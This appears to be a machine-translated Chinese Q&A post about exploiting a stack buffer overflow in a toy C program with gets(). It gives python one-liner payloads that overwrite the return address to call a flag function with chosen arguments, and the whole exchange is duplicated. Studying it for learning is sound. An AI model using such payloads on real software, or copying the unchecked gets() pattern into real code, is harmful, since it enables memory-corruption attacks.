如何构建缓冲区溢出负载
how to build up a buffer overflow payload
我正在关注这篇关于堆栈数组缓冲区溢出的文章,进行 ROP 攻击以调用通常不会被调用的函数。
一共有三个函数。 vuln,flag 和 main.
main 只调用了 vuln,而 vuln 有一个 180 字节的 Whosebug。
int main()
{
vuln();
}
void vuln()
{
char buf[180];
gets(buf);
}
flag 没有被调用,有两个参数:
void flag(int param1, int param2) { }
它存在于地址 0x080491e2。
flasg可以通过溢出180的缓冲区多8个字节然后加上EIP得到的地址来调用。
python -c "print('A'*188 + '\xe2\x91\x04\x08')"
到目前为止一切顺利,flag 被调用但没有参数。
要使用参数调用 flag,我们必须在 flag 的地址和整数的两个值之后添加 'A'*4,并在它们之间添加 '\r'。
python -c "print('A'*188 + '\xe2\x91\x04\x08'+'A'*4+'\xef\xbe\xad\xde\r\xd0\xde\xc0')"
我不明白为什么需要'A'*4,这里覆盖了哪些堆栈部分?
还有参数之间的'\r',如果它不存在则不起作用。
'\r'有什么作用?
AAAA
是因为在进入 flag
时,它希望堆栈顶部包含其 return 地址,参数从该地址开始 4 个字节。您不关心 flag
是否能够 return,因此您只需要 4 个字节的垃圾来代替 return 地址。
至于\r
,它不在参数之间(它们在内存中应该是相邻的,并且它们之间不能有任何字节);相反,它实际上是第二个参数的第一个(最不重要的)字节。 ASCII 回车 return \r
具有数值 0x0d
,因此您的参数是 0xdeadbeef, 0xc0ded00d
。我不知道为什么他们将低字节写为 \r
而不是 \x0d
这样会更一致。也许它被某些程序自动从二进制转换为十六进制转义。
我正在关注这篇关于堆栈数组缓冲区溢出的文章,进行 ROP 攻击以调用通常不会被调用的函数。
一共有三个函数。 vuln,flag 和 main.
main 只调用了 vuln,而 vuln 有一个 180 字节的 Whosebug。
int main()
{
vuln();
}
void vuln()
{
char buf[180];
gets(buf);
}
flag 没有被调用,有两个参数:
void flag(int param1, int param2) { }
它存在于地址 0x080491e2。
flasg可以通过溢出180的缓冲区多8个字节然后加上EIP得到的地址来调用。
python -c "print('A'*188 + '\xe2\x91\x04\x08')"
到目前为止一切顺利,flag 被调用但没有参数。 要使用参数调用 flag,我们必须在 flag 的地址和整数的两个值之后添加 'A'*4,并在它们之间添加 '\r'。
python -c "print('A'*188 + '\xe2\x91\x04\x08'+'A'*4+'\xef\xbe\xad\xde\r\xd0\xde\xc0')"
我不明白为什么需要'A'*4,这里覆盖了哪些堆栈部分? 还有参数之间的'\r',如果它不存在则不起作用。 '\r'有什么作用?
AAAA
是因为在进入 flag
时,它希望堆栈顶部包含其 return 地址,参数从该地址开始 4 个字节。您不关心 flag
是否能够 return,因此您只需要 4 个字节的垃圾来代替 return 地址。
至于\r
,它不在参数之间(它们在内存中应该是相邻的,并且它们之间不能有任何字节);相反,它实际上是第二个参数的第一个(最不重要的)字节。 ASCII 回车 return \r
具有数值 0x0d
,因此您的参数是 0xdeadbeef, 0xc0ded00d
。我不知道为什么他们将低字节写为 \r
而不是 \x0d
这样会更一致。也许它被某些程序自动从二进制转换为十六进制转义。